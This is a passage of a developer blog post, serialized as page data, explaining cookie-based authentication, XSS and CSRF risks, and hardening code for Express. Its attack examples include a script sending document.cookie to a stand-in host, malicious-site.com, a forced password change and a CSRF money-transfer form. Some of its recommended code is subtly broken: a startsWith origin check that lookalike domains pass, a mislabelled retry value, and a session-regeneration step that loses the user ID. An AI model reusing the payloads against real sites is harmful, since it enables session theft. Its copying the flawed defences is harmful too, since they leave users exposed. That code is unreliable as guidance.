[{"data":1,"prerenderedAt":2368},["ShallowReactive",2],{"navigation":3,"/blog/cookie-authentication-security":22,"/blog/cookie-authentication-security-surround":2363},[4],{"title":5,"path":6,"stem":7,"children":8,"page":21},"Blog","/blog","blog",[9,13,17],{"title":10,"path":11,"stem":12},"🔥 Built from Real-World Needs – My Custom UI Package is Here!","/blog/building-scalable-vue-component-libraries","blog/building-scalable-vue-component-libraries",{"title":14,"path":15,"stem":16},"🔥 Cookie Authentication: How It Works & What Are the Risks?","/blog/cookie-authentication-security","blog/cookie-authentication-security",{"title":18,"path":19,"stem":20},"From Nuxt 2 to Vue 3: My Journey of Migration and Growth","/blog/mastering-nuxt-3-performance-optimization","blog/mastering-nuxt-3-performance-optimization",false,{"id":23,"title":14,"author":24,"body":28,"date":2351,"description":2352,"extension":2353,"image":2354,"meta":2355,"minRead":152,"navigation":806,"path":15,"seo":2361,"stem":16,"__hash__":2362},"blog/blog/cookie-authentication-security.md",{"name":25,"avatar":26},"Mohamed Eslam",{"src":27,"alt":25},"/profile-img.jpg",{"type":29,"value":30,"toc":2325},"minimark",[31,35,40,45,48,52,55,59,62,66,69,73,76,80,92,97,156,161,178,213,218,224,245,250,327,331,336,340,509,513,527,557,562,568,592,597,633,637,641,706,710,783,787,948,952,1132,1136,1258,1262,1418,1422,1520,1524,1574,1578,2167,2171,2174,2252,2256,2259,2262,2266,2312,2315,2321],[32,33,34],"p",{},"In any web application, you need an authentication system to determine which user is logged in. One of the most common approaches is for the server to use cookies to store the session ID or a JWT token. This cookie is then sent automatically with every subsequent request.",[36,37,39],"h2",{"id":38},"how-do-cookies-work","🔹 How Do Cookies Work?",[41,42,44],"h3",{"id":43},"_1️⃣-login-process","1️⃣ Login Process",[32,46,47],{},"The user logs in and enters their email & password.",[41,49,51],{"id":50},"_2️⃣-data-verification","2️⃣ Data Verification",[32,53,54],{},"The server checks the credentials, and if correct, sets a cookie in the response.",[41,56,58],{"id":57},"_3️⃣-cookie-storage","3️⃣ Cookie Storage",[32,60,61],{},"The browser saves the cookie, and with every new request, the cookie is sent automatically to the server.",[41,63,65],{"id":64},"_4️⃣-authorization-check","4️⃣ Authorization Check",[32,67,68],{},"The server checks the cookie and verifies that the user is allowed access.",[36,70,72],{"id":71},"️-security-risks","⚠️ Security Risks",[32,74,75],{},"✋ But here's where things can go wrong if you don't secure your implementation!",[41,77,79],{"id":78},"xss-cross-site-scripting","XSS (Cross-Site Scripting)",[32,81,82,86,87,91],{},[83,84,85],"strong",{},"The Problem:"," Any malicious script can use ",[88,89,90],"code",{},"document.cookie"," to easily steal the session token.",[32,93,94],{},[83,95,96],{},"Attack Example:",[98,99,104],"pre",{"className":100,"code":101,"language":102,"meta":103,"style":103},"language-javascript shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","// Malicious code that could be executed on the page\n\u003Cscript>\n  const token = document.cookie;\n  fetch('https://malicious-site.com/steal', {\n    method: 'POST',\n    body: JSON.stringify({ token })\n  });\n\u003C/script>\n","javascript","",[88,105,106,114,120,126,132,138,144,150],{"__ignoreMap":103},[107,108,111],"span",{"class":109,"line":110},"line",1,[107,112,113],{},"// Malicious code that could be executed on the page\n",[107,115,117],{"class":109,"line":116},2,[107,118,119],{},"\u003Cscript>\n",[107,121,123],{"class":109,"line":122},3,[107,124,125],{},"  const token = document.cookie;\n",[107,127,129],{"class":109,"line":128},4,[107,130,131],{},"  fetch('https://malicious-site.com/steal', {\n",[107,133,135],{"class":109,"line":134},5,[107,136,137],{},"    method: 'POST',\n",[107,139,141],{"class":109,"line":140},6,[107,142,143],{},"    body: JSON.stringify({ token })\n",[107,145,147],{"class":109,"line":146},7,[107,148,149],{},"  });\n",[107,151,153],{"class":109,"line":152},8,[107,154,155],{},"\u003C/script>\n",[32,157,158],{},[83,159,160],{},"✅ Solution:",[162,163,164,172,175],"ul",{},[165,166,167,168,171],"li",{},"Use ",[88,169,170],{},"httpOnly"," to prevent JavaScript from accessing the cookie",[165,173,174],{},"Enable CSP (Content Security Policy)",[165,176,177],{},"Properly escape user input",[98,179,181],{"className":100,"code":180,"language":102,"meta":103,"style":103},"// Example of secure cookie settings\nres.cookie('sessionId', token, {\n  httpOnly: true,\n  secure: true,\n  sameSite: 'strict'\n});\n",[88,182,183,188,193,198,203,208],{"__ignoreMap":103},[107,184,185],{"class":109,"line":110},[107,186,187],{},"// Example of secure cookie settings\n",[107,189,190],{"class":109,"line":116},[107,191,192],{},"res.cookie('sessionId', token, {\n",[107,194,195],{"class":109,"line":122},[107,196,197],{},"  httpOnly: true,\n",[107,199,200],{"class":109,"line":128},[107,201,202],{},"  secure: true,\n",[107,204,205],{"class":109,"line":134},[107,206,207],{},"  sameSite: 'strict'\n",[107,209,210],{"class":109,"line":140},[107,211,212],{},"});\n",[32,214,215],{},[83,216,217],{},"🔴 Advanced Attack Vectors (Penetration Tester Insights):",[32,219,220,221,223],{},"Even with ",[88,222,170],{}," cookies, attackers can still exploit the automatic cookie transmission feature. Here's how:",[225,226,227,233,239],"ol",{},[165,228,229,232],{},[83,230,231],{},"Client-Side Sensitive Actions",": Attackers look for pages with sensitive actions (email changes, data modifications) that are handled in JavaScript",[165,234,235,238],{},[83,236,237],{},"Automatic Cookie Transmission",": Since the browser automatically sends cookies with every request, malicious scripts can trigger sensitive actions without directly accessing the cookie",[165,240,241,244],{},[83,242,243],{},"CSP Bypass",": If Content Security Policy isn't properly implemented, attackers can find ways around it",[32,246,247],{},[83,248,249],{},"Real-World Attack Scenario:",[98,251,253],{"className":100,"code":252,"language":102,"meta":103,"style":103},"// Attacker finds a page with sensitive actions handled in JS\n// They inject malicious code that triggers password change\n\u003Cscript>\n  // The browser automatically sends the httpOnly cookie\n  fetch('/api/change-password', {\n    method: 'POST',\n    headers: { 'Content-Type': 'application/json' },\n    body: JSON.stringify({\n      newPassword: 'hacker123',\n      confirmPassword: 'hacker123'\n    })\n    // Cookie is sent automatically - no need to access it directly!\n  });\n\u003C/script>\n",[88,254,255,260,265,269,274,279,283,288,293,299,305,311,317,322],{"__ignoreMap":103},[107,256,257],{"class":109,"line":110},[107,258,259],{},"// Attacker finds a page with sensitive actions handled in JS\n",[107,261,262],{"class":109,"line":116},[107,263,264],{},"// They inject malicious code that triggers password change\n",[107,266,267],{"class":109,"line":122},[107,268,119],{},[107,270,271],{"class":109,"line":128},[107,272,273],{},"  // The browser automatically sends the httpOnly cookie\n",[107,275,276],{"class":109,"line":134},[107,277,278],{},"  fetch('/api/change-password', {\n",[107,280,281],{"class":109,"line":140},[107,282,137],{},[107,284,285],{"class":109,"line":146},[107,286,287],{},"    headers: { 'Content-Type': 'application/json' },\n",[107,289,290],{"class":109,"line":152},[107,291,292],{},"    body: JSON.stringify({\n",[107,294,296],{"class":109,"line":295},9,[107,297,298],{},"      newPassword: 'hacker123',\n",[107,300,302],{"class":109,"line":301},10,[107,303,304],{},"      confirmPassword: 'hacker123'\n",[107,306,308],{"class":109,"line":307},11,[107,309,310],{},"    })\n",[107,312,314],{"class":109,"line":313},12,[107,315,316],{},"    // Cookie is sent automatically - no need to access it directly!\n",[107,318,320],{"class":109,"line":319},13,[107,321,149],{},[107,323,325],{"class":109,"line":324},14,[107,326,155],{},[41,328,330],{"id":329},"csrf-cross-site-request-forgery","CSRF (Cross-Site Request Forgery)",[32,332,333,335],{},[83,334,85],{}," Because the browser automatically sends the cookie, any malicious website can exploit the open session and send requests on behalf of the user!",[32,337,338],{},[83,339,96],{},[98,341,345],{"className":342,"code":343,"language":344,"meta":103,"style":103},"language-html shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","\u003C!-- Malicious page requesting money transfer -->\n\u003Cform action=\"https://bank.com/transfer\" method=\"POST\">\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"1000\">\n  \u003Cinput type=\"hidden\" name=\"to\" value=\"hacker-account\">\n  \u003Cbutton>Click to win $1000!\u003C/button>\n\u003C/form>\n","html",[88,346,347,353,394,440,480,501],{"__ignoreMap":103},[107,348,349],{"class":109,"line":110},[107,350,352],{"class":351},"sHwdD","\u003C!-- Malicious page requesting money transfer -->\n",[107,354,355,359,363,367,370,373,377,379,382,384,386,389,391],{"class":109,"line":116},[107,356,358],{"class":357},"sMK4o","\u003C",[107,360,362],{"class":361},"swJcz","form",[107,364,366],{"class":365},"spNyl"," action",[107,368,369],{"class":357},"=",[107,371,372],{"class":357},"\"",[107,374,376],{"class":375},"sfazB","https://bank.com/transfer",[107,378,372],{"class":357},[107,380,381],{"class":365}," method",[107,383,369],{"class":357},[107,385,372],{"class":357},[107,387,388],{"class":375},"POST",[107,390,372],{"class":357},[107,392,393],{"class":357},">\n",[107,395,396,399,402,405,407,409,412,414,417,419,421,424,426,429,431,433,436,438],{"class":109,"line":122},[107,397,398],{"class":357},"  \u003C",[107,400,401],{"class":361},"input",[107,403,404],{"class":365}," type",[107,406,369],{"class":357},[107,408,372],{"class":357},[107,410,411],{"class":375},"hidden",[107,413,372],{"class":357},[107,415,416],{"class":365}," name",[107,418,369],{"class":357},[107,420,372],{"class":357},[107,422,423],{"class":375},"amount",[107,425,372],{"class":357},[107,427,428],{"class":365}," value",[107,430,369],{"class":357},[107,432,372],{"class":357},[107,434,435],{"class":375},"1000",[107,437,372],{"class":357},[107,439,393],{"class":357},[107,441,442,444,446,448,450,452,454,456,458,460,462,465,467,469,471,473,476,478],{"class":109,"line":128},[107,443,398],{"class":357},[107,445,401],{"class":361},[107,447,404],{"class":365},[107,449,369],{"class":357},[107,451,372],{"class":357},[107,453,411],{"class":375},[107,455,372],{"class":357},[107,457,416],{"class":365},[107,459,369],{"class":357},[107,461,372],{"class":357},[107,463,464],{"class":375},"to",[107,466,372],{"class":357},[107,468,428],{"class":365},[107,470,369],{"class":357},[107,472,372],{"class":357},[107,474,475],{"class":375},"hacker-account",[107,477,372],{"class":357},[107,479,393],{"class":357},[107,481,482,484,487,490,494,497,499],{"class":109,"line":134},[107,483,398],{"class":357},[107,485,486],{"class":361},"button",[107,488,489],{"class":357},">",[107,491,493],{"class":492},"sTEyZ","Click to win $1000!",[107,495,496],{"class":357},"\u003C/",[107,498,486],{"class":361},[107,500,393],{"class":357},[107,502,503,505,507],{"class":109,"line":140},[107,504,496],{"class":357},[107,506,362],{"class":361},[107,508,393],{"class":357},[32,510,511],{},[83,512,160],{},[162,514,515,521,524],{},[165,516,167,517,520],{},[88,518,519],{},"SameSite=Strict"," so the cookie isn't sent with cross-site requests",[165,522,523],{},"Use CSRF tokens for any sensitive POST requests",[165,525,526],{},"Verify the Origin header",[98,528,530],{"className":100,"code":529,"language":102,"meta":103,"style":103},"// Example of CSRF token\n\u003Cform action=\"/transfer\" method=\"POST\">\n  \u003Cinput type=\"hidden\" name=\"_csrf\" value=\"\u003C%= csrfToken %>\">\n  \u003C!-- Other fields -->\n\u003C/form>\n",[88,531,532,537,542,547,552],{"__ignoreMap":103},[107,533,534],{"class":109,"line":110},[107,535,536],{},"// Example of CSRF token\n",[107,538,539],{"class":109,"line":116},[107,540,541],{},"\u003Cform action=\"/transfer\" method=\"POST\">\n",[107,543,544],{"class":109,"line":122},[107,545,546],{},"  \u003Cinput type=\"hidden\" name=\"_csrf\" value=\"\u003C%= csrfToken %>\">\n",[107,548,549],{"class":109,"line":128},[107,550,551],{},"  \u003C!-- Other fields -->\n",[107,553,554],{"class":109,"line":134},[107,555,556],{},"\u003C/form>\n",[32,558,559],{},[83,560,561],{},"🔴 SameSite Limitations (Penetration Tester Insights):",[32,563,564,565,567],{},"While ",[88,566,519],{}," is very secure, it has practical limitations:",[225,569,570,580,586],{},[165,571,572,575,576,579],{},[83,573,574],{},"Subdomain Issues",": If you set it for ",[88,577,578],{},".example.com",", subdomains won't receive cookies, but if you set it for subdomains, the main domain won't receive cookies",[165,581,582,585],{},[83,583,584],{},"Third-Party Integration Problems",": Services like CloudFlare, analytics tools, or payment gateways may break",[165,587,588,591],{},[83,589,590],{},"Development Complexity",": Can cause issues during development and testing phases",[32,593,594],{},[83,595,596],{},"Alternative Approach:",[98,598,600],{"className":100,"code":599,"language":102,"meta":103,"style":103},"// More flexible SameSite configuration\nres.cookie('sessionId', token, {\n  httpOnly: true,\n  secure: true,\n  sameSite: 'lax', // Allows some cross-site requests\n  domain: '.yourdomain.com' // Include subdomains\n});\n",[88,601,602,607,611,615,619,624,629],{"__ignoreMap":103},[107,603,604],{"class":109,"line":110},[107,605,606],{},"// More flexible SameSite configuration\n",[107,608,609],{"class":109,"line":116},[107,610,192],{},[107,612,613],{"class":109,"line":122},[107,614,197],{},[107,616,617],{"class":109,"line":128},[107,618,202],{},[107,620,621],{"class":109,"line":134},[107,622,623],{},"  sameSite: 'lax', // Allows some cross-site requests\n",[107,625,626],{"class":109,"line":140},[107,627,628],{},"  domain: '.yourdomain.com' // Include subdomains\n",[107,630,631],{"class":109,"line":146},[107,632,212],{},[36,634,636],{"id":635},"️-advanced-security-best-practices","🛡️ Advanced Security Best Practices",[41,638,640],{"id":639},"_1-enhanced-cookie-security","1. Enhanced Cookie Security",[98,642,644],{"className":100,"code":643,"language":102,"meta":103,"style":103},"app.use(session({\n  secret: process.env.SESSION_SECRET,\n  cookie: {\n    httpOnly: true,        // Prevent JavaScript access\n    secure: true,          // HTTPS only\n    sameSite: 'strict',    // Prevent CSRF\n    maxAge: 1000 * 60 * 60 * 24, // 1 day validity\n    domain: '.yourdomain.com',    // Specify domain\n    path: '/',                    // Restrict path\n    expires: new Date(Date.now() + 24 * 60 * 60 * 1000) // Explicit expiration\n  }\n}));\n",[88,645,646,651,656,661,666,671,676,681,686,691,696,701],{"__ignoreMap":103},[107,647,648],{"class":109,"line":110},[107,649,650],{},"app.use(session({\n",[107,652,653],{"class":109,"line":116},[107,654,655],{},"  secret: process.env.SESSION_SECRET,\n",[107,657,658],{"class":109,"line":122},[107,659,660],{},"  cookie: {\n",[107,662,663],{"class":109,"line":128},[107,664,665],{},"    httpOnly: true,        // Prevent JavaScript access\n",[107,667,668],{"class":109,"line":134},[107,669,670],{},"    secure: true,          // HTTPS only\n",[107,672,673],{"class":109,"line":140},[107,674,675],{},"    sameSite: 'strict',    // Prevent CSRF\n",[107,677,678],{"class":109,"line":146},[107,679,680],{},"    maxAge: 1000 * 60 * 60 * 24, // 1 day validity\n",[107,682,683],{"class":109,"line":152},[107,684,685],{},"    domain: '.yourdomain.com',    // Specify domain\n",[107,687,688],{"class":109,"line":295},[107,689,690],{},"    path: '/',                    // Restrict path\n",[107,692,693],{"class":109,"line":301},[107,694,695],{},"    expires: new Date(Date.now() + 24 * 60 * 60 * 1000) // Explicit expiration\n",[107,697,698],{"class":109,"line":307},[107,699,700],{},"  }\n",[107,702,703],{"class":109,"line":313},[107,704,705],{},"}));\n",[41,707,709],{"id":708},"_2-advanced-content-security-policy","2. Advanced Content Security Policy",[98,711,713],{"className":342,"code":712,"language":344,"meta":103,"style":103},"\u003C!-- Comprehensive CSP with multiple layers -->\n\u003Cmeta http-equiv=\"Content-Security-Policy\" \n      content=\"default-src 'self'; \n               script-src 'self' 'nonce-${nonce}'; \n               style-src 'self' 'unsafe-inline'; \n               img-src 'self' data: https:; \n               connect-src 'self'; \n               frame-ancestors 'none';\">\n",[88,714,715,720,742,754,759,764,769,774],{"__ignoreMap":103},[107,716,717],{"class":109,"line":110},[107,718,719],{"class":351},"\u003C!-- Comprehensive CSP with multiple layers -->\n",[107,721,722,724,727,730,732,734,737,739],{"class":109,"line":116},[107,723,358],{"class":357},[107,725,726],{"class":361},"meta",[107,728,729],{"class":365}," http-equiv",[107,731,369],{"class":357},[107,733,372],{"class":357},[107,735,736],{"class":375},"Content-Security-Policy",[107,738,372],{"class":357},[107,740,741],{"class":357}," \n",[107,743,744,747,749,751],{"class":109,"line":122},[107,745,746],{"class":365},"      content",[107,748,369],{"class":357},[107,750,372],{"class":357},[107,752,753],{"class":375},"default-src 'self'; \n",[107,755,756],{"class":109,"line":128},[107,757,758],{"class":375},"               script-src 'self' 'nonce-${nonce}'; \n",[107,760,761],{"class":109,"line":134},[107,762,763],{"class":375},"               style-src 'self' 'unsafe-inline'; \n",[107,765,766],{"class":109,"line":140},[107,767,768],{"class":375},"               img-src 'self' data: https:; \n",[107,770,771],{"class":109,"line":146},[107,772,773],{"class":375},"               connect-src 'self'; \n",[107,775,776,779,781],{"class":109,"line":152},[107,777,778],{"class":375},"               frame-ancestors 'none';",[107,780,372],{"class":357},[107,782,393],{"class":357},[41,784,786],{"id":785},"_3-enhanced-csrf-protection","3. Enhanced CSRF Protection",[98,788,790],{"className":100,"code":789,"language":102,"meta":103,"style":103},"const csrf = require('csurf');\nconst helmet = require('helmet');\n\n// Multiple CSRF protection layers\napp.use(helmet());\napp.use(csrf({ cookie: true }));\n\n// Custom CSRF validation with additional checks\napp.use((req, res, next) => {\n  if (req.method === 'POST' || req.method === 'PUT' || req.method === 'DELETE') {\n    // Check CSRF token\n    const token = req.headers['x-csrf-token'] || req.body._csrf;\n    if (!token || token !== req.session.csrfToken) {\n      return res.status(403).json({ error: 'CSRF token invalid' });\n    }\n    \n    // Additional Origin verification\n    const origin = req.headers.origin || req.headers.referer;\n    if (origin && !isValidOrigin(origin)) {\n      return res.status(403).json({ error: 'Invalid origin' });\n    }\n  }\n  next();\n});\n\nfunction isValidOrigin(origin) {\n  const allowedOrigins = ['https://yourdomain.com', 'https://app.yourdomain.com'];\n  return allowedOrigins.some(allowed => origin.startsWith(allowed));\n}\n",[88,791,792,797,802,808,813,818,823,827,832,837,842,847,852,857,862,868,874,880,886,892,898,903,908,914,919,924,930,936,942],{"__ignoreMap":103},[107,793,794],{"class":109,"line":110},[107,795,796],{},"const csrf = require('csurf');\n",[107,798,799],{"class":109,"line":116},[107,800,801],{},"const helmet = require('helmet');\n",[107,803,804],{"class":109,"line":122},[107,805,807],{"emptyLinePlaceholder":806},true,"\n",[107,809,810],{"class":109,"line":128},[107,811,812],{},"// Multiple CSRF protection layers\n",[107,814,815],{"class":109,"line":134},[107,816,817],{},"app.use(helmet());\n",[107,819,820],{"class":109,"line":140},[107,821,822],{},"app.use(csrf({ cookie: true }));\n",[107,824,825],{"class":109,"line":146},[107,826,807],{"emptyLinePlaceholder":806},[107,828,829],{"class":109,"line":152},[107,830,831],{},"// Custom CSRF validation with additional checks\n",[107,833,834],{"class":109,"line":295},[107,835,836],{},"app.use((req, res, next) => {\n",[107,838,839],{"class":109,"line":301},[107,840,841],{},"  if (req.method === 'POST' || req.method === 'PUT' || req.method === 'DELETE') {\n",[107,843,844],{"class":109,"line":307},[107,845,846],{},"    // Check CSRF token\n",[107,848,849],{"class":109,"line":313},[107,850,851],{},"    const token = req.headers['x-csrf-token'] || req.body._csrf;\n",[107,853,854],{"class":109,"line":319},[107,855,856],{},"    if (!token || token !== req.session.csrfToken) {\n",[107,858,859],{"class":109,"line":324},[107,860,861],{},"      return res.status(403).json({ error: 'CSRF token invalid' });\n",[107,863,865],{"class":109,"line":864},15,[107,866,867],{},"    }\n",[107,869,871],{"class":109,"line":870},16,[107,872,873],{},"    \n",[107,875,877],{"class":109,"line":876},17,[107,878,879],{},"    // Additional Origin verification\n",[107,881,883],{"class":109,"line":882},18,[107,884,885],{},"    const origin = req.headers.origin || req.headers.referer;\n",[107,887,889],{"class":109,"line":888},19,[107,890,891],{},"    if (origin && !isValidOrigin(origin)) {\n",[107,893,895],{"class":109,"line":894},20,[107,896,897],{},"      return res.status(403).json({ error: 'Invalid origin' });\n",[107,899,901],{"class":109,"line":900},21,[107,902,867],{},[107,904,906],{"class":109,"line":905},22,[107,907,700],{},[107,909,911],{"class":109,"line":910},23,[107,912,913],{},"  next();\n",[107,915,917],{"class":109,"line":916},24,[107,918,212],{},[107,920,922],{"class":109,"line":921},25,[107,923,807],{"emptyLinePlaceholder":806},[107,925,927],{"class":109,"line":926},26,[107,928,929],{},"function isValidOrigin(origin) {\n",[107,931,933],{"class":109,"line":932},27,[107,934,935],{},"  const allowedOrigins = ['https://yourdomain.com', 'https://app.yourdomain.com'];\n",[107,937,939],{"class":109,"line":938},28,[107,940,941],{},"  return allowedOrigins.some(allowed => origin.startsWith(allowed));\n",[107,943,945],{"class":109,"line":944},29,[107,946,947],{},"}\n",[41,949,951],{"id":950},"_4-advanced-rate-limiting-with-attack-detection","4. Advanced Rate Limiting with Attack Detection",[98,953,955],{"className":100,"code":954,"language":102,"meta":103,"style":103},"const rateLimit = require('express-rate-limit');\nconst RedisStore = require('rate-limit-redis');\n\n// Sophisticated rate limiting\nconst loginLimiter = rateLimit({\n  store: new RedisStore({\n    client: redisClient,\n    prefix: 'login_limit:'\n  }),\n  windowMs: 15 * 60 * 1000, // 15 minutes\n  max: 5, // Only 5 attempts\n  message: 'Too many login attempts',\n  standardHeaders: true,\n  legacyHeaders: false,\n  skipSuccessfulRequests: true,\n  handler: (req, res) => {\n    // Log potential attack\n    logger.warn(`Potential brute force attack from ${req.ip}`);\n    res.status(429).json({ \n      error: 'Too many login attempts',\n      retryAfter: Math.ceil(15 * 60 / 1000) // minutes\n    });\n  }\n});\n\n// Separate limiter for sensitive actions\nconst sensitiveActionLimiter = rateLimit({\n  windowMs: 60 * 1000, // 1 minute\n  max: 3, // Only 3 sensitive actions per minute\n  message: 'Too many sensitive actions',\n  skipSuccessfulRequests: false\n});\n\napp.use('/api/change-password', sensitiveActionLimiter);\napp.use('/api/transfer-money', sensitiveActionLimiter);\n",[88,956,957,962,967,971,976,981,986,991,996,1001,1006,1011,1016,1021,1026,1031,1036,1041,1046,1051,1056,1061,1066,1070,1074,1078,1083,1088,1093,1098,1104,1110,1115,1120,1126],{"__ignoreMap":103},[107,958,959],{"class":109,"line":110},[107,960,961],{},"const rateLimit = require('express-rate-limit');\n",[107,963,964],{"class":109,"line":116},[107,965,966],{},"const RedisStore = require('rate-limit-redis');\n",[107,968,969],{"class":109,"line":122},[107,970,807],{"emptyLinePlaceholder":806},[107,972,973],{"class":109,"line":128},[107,974,975],{},"// Sophisticated rate limiting\n",[107,977,978],{"class":109,"line":134},[107,979,980],{},"const loginLimiter = rateLimit({\n",[107,982,983],{"class":109,"line":140},[107,984,985],{},"  store: new RedisStore({\n",[107,987,988],{"class":109,"line":146},[107,989,990],{},"    client: redisClient,\n",[107,992,993],{"class":109,"line":152},[107,994,995],{},"    prefix: 'login_limit:'\n",[107,997,998],{"class":109,"line":295},[107,999,1000],{},"  }),\n",[107,1002,1003],{"class":109,"line":301},[107,1004,1005],{},"  windowMs: 15 * 60 * 1000, // 15 minutes\n",[107,1007,1008],{"class":109,"line":307},[107,1009,1010],{},"  max: 5, // Only 5 attempts\n",[107,1012,1013],{"class":109,"line":313},[107,1014,1015],{},"  message: 'Too many login attempts',\n",[107,1017,1018],{"class":109,"line":319},[107,1019,1020],{},"  standardHeaders: true,\n",[107,1022,1023],{"class":109,"line":324},[107,1024,1025],{},"  legacyHeaders: false,\n",[107,1027,1028],{"class":109,"line":864},[107,1029,1030],{},"  skipSuccessfulRequests: true,\n",[107,1032,1033],{"class":109,"line":870},[107,1034,1035],{},"  handler: (req, res) => {\n",[107,1037,1038],{"class":109,"line":876},[107,1039,1040],{},"    // Log potential attack\n",[107,1042,1043],{"class":109,"line":882},[107,1044,1045],{},"    logger.warn(`Potential brute force attack from ${req.ip}`);\n",[107,1047,1048],{"class":109,"line":888},[107,1049,1050],{},"    res.status(429).json({ \n",[107,1052,1053],{"class":109,"line":894},[107,1054,1055],{},"      error: 'Too many login attempts',\n",[107,1057,1058],{"class":109,"line":900},[107,1059,1060],{},"      retryAfter: Math.ceil(15 * 60 / 1000) // minutes\n",[107,1062,1063],{"class":109,"line":905},[107,1064,1065],{},"    });\n",[107,1067,1068],{"class":109,"line":910},[107,1069,700],{},[107,1071,1072],{"class":109,"line":916},[107,1073,212],{},[107,1075,1076],{"class":109,"line":921},[107,1077,807],{"emptyLinePlaceholder":806},[107,1079,1080],{"class":109,"line":926},[107,1081,1082],{},"// Separate limiter for sensitive actions\n",[107,1084,1085],{"class":109,"line":932},[107,1086,1087],{},"const sensitiveActionLimiter = rateLimit({\n",[107,1089,1090],{"class":109,"line":938},[107,1091,1092],{},"  windowMs: 60 * 1000, // 1 minute\n",[107,1094,1095],{"class":109,"line":944},[107,1096,1097],{},"  max: 3, // Only 3 sensitive actions per minute\n",[107,1099,1101],{"class":109,"line":1100},30,[107,1102,1103],{},"  message: 'Too many sensitive actions',\n",[107,1105,1107],{"class":109,"line":1106},31,[107,1108,1109],{},"  skipSuccessfulRequests: false\n",[107,1111,1113],{"class":109,"line":1112},32,[107,1114,212],{},[107,1116,1118],{"class":109,"line":1117},33,[107,1119,807],{"emptyLinePlaceholder":806},[107,1121,1123],{"class":109,"line":1122},34,[107,1124,1125],{},"app.use('/api/change-password', sensitiveActionLimiter);\n",[107,1127,1129],{"class":109,"line":1128},35,[107,1130,1131],{},"app.use('/api/transfer-money', sensitiveActionLimiter);\n",[41,1133,1135],{"id":1134},"_5-input-sanitization-and-validation","5. Input Sanitization and Validation",[98,1137,1139],{"className":100,"code":1138,"language":102,"meta":103,"style":103},"const xss = require('xss-clean');\nconst validator = require('validator');\n\n// XSS protection\napp.use(xss());\n\n// Input validation middleware\nconst validateInput = (req, res, next) => {\n  // Sanitize all string inputs\n  Object.keys(req.body).forEach(key => {\n    if (typeof req.body[key] === 'string') {\n      req.body[key] = validator.escape(req.body[key]);\n      req.body[key] = validator.trim(req.body[key]);\n    }\n  });\n  \n  // Validate email format\n  if (req.body.email && !validator.isEmail(req.body.email)) {\n    return res.status(400).json({ error: 'Invalid email format' });\n  }\n  \n  next();\n};\n\napp.use(validateInput);\n",[88,1140,1141,1146,1151,1155,1160,1165,1169,1174,1179,1184,1189,1194,1199,1204,1208,1212,1217,1222,1227,1232,1236,1240,1244,1249,1253],{"__ignoreMap":103},[107,1142,1143],{"class":109,"line":110},[107,1144,1145],{},"const xss = require('xss-clean');\n",[107,1147,1148],{"class":109,"line":116},[107,1149,1150],{},"const validator = require('validator');\n",[107,1152,1153],{"class":109,"line":122},[107,1154,807],{"emptyLinePlaceholder":806},[107,1156,1157],{"class":109,"line":128},[107,1158,1159],{},"// XSS protection\n",[107,1161,1162],{"class":109,"line":134},[107,1163,1164],{},"app.use(xss());\n",[107,1166,1167],{"class":109,"line":140},[107,1168,807],{"emptyLinePlaceholder":806},[107,1170,1171],{"class":109,"line":146},[107,1172,1173],{},"// Input validation middleware\n",[107,1175,1176],{"class":109,"line":152},[107,1177,1178],{},"const validateInput = (req, res, next) => {\n",[107,1180,1181],{"class":109,"line":295},[107,1182,1183],{},"  // Sanitize all string inputs\n",[107,1185,1186],{"class":109,"line":301},[107,1187,1188],{},"  Object.keys(req.body).forEach(key => {\n",[107,1190,1191],{"class":109,"line":307},[107,1192,1193],{},"    if (typeof req.body[key] === 'string') {\n",[107,1195,1196],{"class":109,"line":313},[107,1197,1198],{},"      req.body[key] = validator.escape(req.body[key]);\n",[107,1200,1201],{"class":109,"line":319},[107,1202,1203],{},"      req.body[key] = validator.trim(req.body[key]);\n",[107,1205,1206],{"class":109,"line":324},[107,1207,867],{},[107,1209,1210],{"class":109,"line":864},[107,1211,149],{},[107,1213,1214],{"class":109,"line":870},[107,1215,1216],{},"  \n",[107,1218,1219],{"class":109,"line":876},[107,1220,1221],{},"  // Validate email format\n",[107,1223,1224],{"class":109,"line":882},[107,1225,1226],{},"  if (req.body.email && !validator.isEmail(req.body.email)) {\n",[107,1228,1229],{"class":109,"line":888},[107,1230,1231],{},"    return res.status(400).json({ error: 'Invalid email format' });\n",[107,1233,1234],{"class":109,"line":894},[107,1235,700],{},[107,1237,1238],{"class":109,"line":900},[107,1239,1216],{},[107,1241,1242],{"class":109,"line":905},[107,1243,913],{},[107,1245,1246],{"class":109,"line":910},[107,1247,1248],{},"};\n",[107,1250,1251],{"class":109,"line":916},[107,1252,807],{"emptyLinePlaceholder":806},[107,1254,1255],{"class":109,"line":921},[107,1256,1257],{},"app.use(validateInput);\n",[41,1259,1261],{"id":1260},"_6-session-security-enhancements","6. Session Security Enhancements",[98,1263,1265],{"className":100,"code":1264,"language":102,"meta":103,"style":103},"// Session configuration with security features\napp.use(session({\n  secret: process.env.SESSION_SECRET,\n  name: 'sessionId', // Change default cookie name\n  cookie: {\n    httpOnly: true,\n    secure: process.env.NODE_ENV === 'production',\n    sameSite: 'strict',\n    maxAge: 1000 * 60 * 60 * 2, // 2 hours\n    path: '/',\n    domain: process.env.COOKIE_DOMAIN\n  },\n  resave: false,\n  saveUninitialized: false,\n  rolling: true, // Extend session on activity\n  unset: 'destroy' // Remove session from response\n}));\n\n// Session fixation protection\napp.use((req, res, next) => {\n  if (req.session.userId && !req.session.authenticated) {\n    // Regenerate session ID after login\n    req.session.regenerate((err) => {\n      if (err) return next(err);\n      req.session.userId = req.session.userId;\n      req.session.authenticated = true;\n      next();\n    });\n  } else {\n    next();\n  }\n});\n",[88,1266,1267,1272,1276,1280,1285,1289,1294,1299,1304,1309,1314,1319,1324,1329,1334,1339,1344,1348,1352,1357,1361,1366,1371,1376,1381,1386,1391,1396,1400,1405,1410,1414],{"__ignoreMap":103},[107,1268,1269],{"class":109,"line":110},[107,1270,1271],{},"// Session configuration with security features\n",[107,1273,1274],{"class":109,"line":116},[107,1275,650],{},[107,1277,1278],{"class":109,"line":122},[107,1279,655],{},[107,1281,1282],{"class":109,"line":128},[107,1283,1284],{},"  name: 'sessionId', // Change default cookie name\n",[107,1286,1287],{"class":109,"line":134},[107,1288,660],{},[107,1290,1291],{"class":109,"line":140},[107,1292,1293],{},"    httpOnly: true,\n",[107,1295,1296],{"class":109,"line":146},[107,1297,1298],{},"    secure: process.env.NODE_ENV === 